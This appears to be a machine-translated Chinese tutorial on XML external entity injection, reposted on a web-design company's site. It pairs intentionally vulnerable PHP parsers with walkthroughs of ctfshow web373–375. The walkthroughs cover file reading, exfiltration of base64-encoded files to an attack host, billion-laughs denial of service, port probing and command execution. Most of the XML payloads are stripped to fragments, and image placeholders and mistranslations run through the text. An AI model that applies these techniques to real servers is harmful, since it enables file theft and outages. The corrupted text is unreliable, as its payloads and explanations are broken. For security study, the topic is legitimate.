
如果您在此处插入图片描述,请举一个示例
xml version = "1.0" encoding = "utf-8"?>
]>
&file;
同时,由于有两种类型的实体,这是一个了解参数实体示例的另一个示例
xml version="1.0"?>
%file;
]>
现在我对这些知识有一定的了解,我可以看一下xxe
xxe什么是xxe
XXE漏洞的全名是XML,这是指XML外部实体注入的漏洞。
脆弱性的原因
当应用程序解析XML输入并且不禁止外部实体的加载时,就会发生XXE漏洞,从而导致恶意外部文件加载。
脆弱性危害
导致文件读取命令执行端口扫描以攻击网站和其他危害
脆弱性的原因
XXE漏洞触发的点通常是可以上传XML文件的位置,并且上传的XML文件未过滤,从而导致恶意XML文件上传。
XXE使用姿势读取任何用echo的文件
测试代码如下
php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>
该代码解释如下
file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。
发布上传内容
xml version="1.0" encoding="utf-8"?> //XML声明
//定义一般实体quan9i
]>
&quan9i;
在此处插入图像描述,以尝试读取其他文件
xml version="1.0" encoding="utf-8"?>
]>
&quan9i;
在没有回声的情况下插入图像描述
源代码如下
php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
结构如下
%remote;%payload;%send;
]>
攻击计算机中的eval.xml的内容是
">
然后,想法是先称其为首先,实际上是在攻击计算机上包含文件,然后调用参数实体。此时,包括参数实体,然后将读取文件。然后,发送的内容是文件内容。当我们致电发送时,我们将以简单的方式获取文件内容
1、调用remote-->包含eval.xml
2、调用payload-->包含file参数实体-->读取文件内容(此时send中就是文件内容了)
3、调用send(将文件内容取出)
在此处插入图片描述以解码

在此处插入图片以描述以下内容:在攻击机上写读取文件,我们也可以将其写入这样的本地结构
%remote;%payload;%send;
]>
eval.xml的内容在攻击飞机上
">
在此处插入图像描述以获取攻击
通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器解析了文档中的所有实体,因此,如果实体声明按一层嵌套嵌套,则可以在某个数字中导致服务器。常见的XML恶意代码如下
xml version="1.0"?>
]>
&lol9;
调用LOL9实体参数时,将调用10个LOL8实体参数,每个LOL8实体参数包含10个LOL7参数。目前,已经调用了10^2个参数实体,它将更加向下。解析此文件小于1K之后,它将消耗大量内存,并最终占据3G内存。这表明这种脆弱性非常危险。通常,我们可以以这种方式构建它来进行DOS攻击。
]>
&a2;
检测
当我们获得 IP地址时,如果有ECHO,我们可以根据访问时间和浏览器回声的回声来判断幸存的端口。
在此处插入图像,以打开描述非残酷端口的端口回声位
在此处插入图像描述,我们还可以使用BP查看端口是否还活着。示例如下
xml version="1.0"?>
]>
&file; 1
然后使用它爆炸并确定端口是否基于回声
在此处插入图片以描述此不活着的特定操作,请参见下面的实际战斗。命令执行
PHP扩展可以直接执行系统命令,但不幸的是,默认情况下不会安装此扩展名。参考
]>
&cmd;
回声
uid=501(Apple) gid=20(staff)
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)
实用的射击场XXE-LAB
地址
有回声
射击范围带有回声,源代码如下
php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("%d%s ",1,$username);
}else{
$result = sprintf("%d%s ",0,$username);
}
}catch(Exception $e){
$result = sprintf("%d%s ",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>
该方法与以前相同。目前,我们找到回声点,然后使用要读取的文件作为实体参数的内容,然后调用实体参数。目前,可以通过获得以下文件结构来获得输出结果
xml version="1.0" encoding="utf-8"?>
]>
&quan9i;
1
在此处插入图片描述,然后重试
在没有回声的情况下插入图像描述
如果评论了射击范围输出信息,则没有回声。

在此处插入图片描述并随意输入,然后抓住数据包

在此处插入图片描述
在此处插入图片描述以进行测试

此时插入图像描述目前没有回声,这与盲人XXE的情况相对应。目前,可以使用外卖和伪协议来获取文件内容。具体方法如下。
xml version="1.0"?>
//参数实体声明中使用到了php的base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。
%dtd;
%send;
]>
eval.xml在攻击机中的内容192.168.134.128
">
//%要进行实体编码%
%payload;
攻击方法1。%DTD的简要说明:包含eval.xml->调用实体参数 - >呼叫文件实体参数 - >此时查看指定的文件,发送实体参数中的内容为文件内容2。%send。调用发送实体参数,此时将取出文件内容。
在此处插入图像描述以解码内容
在此处插入图片描述以获取文件内容373
源代码
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
并不难找到该$的输出是结果,因此在这里我们只是将参考元素放入其中,结构如下
]>
&xxe;
在此处插入图像描述Web 374
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
我发现这里没有重印。我需要使用从服务器采集的方法获取文件内容。特定攻击方法如下
%aaa;
]>
1
服务器文件内容
">
%dtd;
%xxe;
在此处插入图像说明文件以解码标志。该原理也很简单,类似于以前
1、调用aaa参数实体-->包含dtd文件-->xml.dtd文件中包含了file参数实体-->file参数实体被调用,成功读取文件-->xml.dtd文件调用dtd参数实体,此时就包含了后面那些内容-->xml.dtd文件调用xxe参数实体,xxe参数实体中含有file参数实体,也就是文件内容,此时就会将内容给带出来
2、监听7777端口,获取这个内容,就相当于我们访问了文件,此时就可以达到我们外带的目的了
Web 375
php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
添加了过滤,过滤内容
扫一扫在手机端查看
-
Tags : 头文件嵌套引用_浅析XML外部实体注入
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。


客服1